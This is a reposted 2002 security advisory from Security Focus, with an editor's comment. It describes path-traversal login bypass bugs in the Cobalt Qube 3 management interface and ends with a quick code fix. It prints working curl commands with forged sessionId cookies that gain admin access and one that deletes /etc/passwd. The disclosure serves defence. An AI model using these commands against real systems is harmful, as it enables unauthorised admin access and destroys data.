SCAN Associates finds login bypass vulnerability in Cobalt Qube3
Source: Security Focus
L33tdawg: I find this particularly amusing since Scan Associates were the winners of the HITB Capture The Flag competition. Nice to see that they're taking their work seriously by hacking the prize -- good job! *grin*
Product: Cobalt Qube 3 (Cobalt Linux release 6.0 (Carmel)Kernel 2.2.16C7 on an i586)
Date: 23rd July 2002
Summary: By pass login
Author: pokleyzz , sk ,
shaharil
Description
===========
First of all, we would like to thank you Sun Microsystem (Malaysia) for
sponsoring a Cobalt Qube 3 server during the recent HackInTheBox Capture the
Flag Security Conference on 16-17 July 2002. Being the winner, we are proud
to receive this cool box. After playing around for awhile, we found several
problems in Cobalt Qube 3 System Management. The most serious bug may allow
remote access as Admin. We have alerted security-alert@sun.com and Sun
Microsystem (Malaysia) on 19th July but unfortunately we did not receive any
feedback.
Details
=======
Problem 1: Local Privilege Escalation to Admin
Any user with ability to create file in any location of a Cobalt server will
be able to promote to Admin access of the System Management. A user may
create a file in /tmp/test and crafted a cookie to login as Admin without
password:
Create dummy session file in Cobalt server:
$ printf "admin" > /tmp/test
Login without password from anywhere:
$ curl -b sessionId=/../../../../../../tmp/test;loginName=admin
http://192.168.0.1:444/splashAdmin.php
Problem 2: Remote User access
We also found out that if the User account is newly created, we can bypass
the authentication without a need to create dummy session file in the
server:
$curl -b sessionId=../codb/objects/4/.name;loginName=admin
http://192.168.0.1:444/splashAdmin.php
Problem 3: Remotely delete file
It is possible to delete file from the server by specifying the path to the
file and the first 31 characters of the file. The following example will
delete the /etc/passwd file from the server:
$curl -b
sessionId=../../../../../../../../etc/passwd;loginName=root:x:0:0:root:/root:/bin/bash
http://192.168.0.1:444/splashAdmin.php
Quick Solution
==============
/usr/sausalito/ui/libPhp/ServerScriptHelper.php
line 64:
$sessionId = ereg_replace("..","",$sessionId);
* - curl can be download from http://curl.haxx.se/download.html
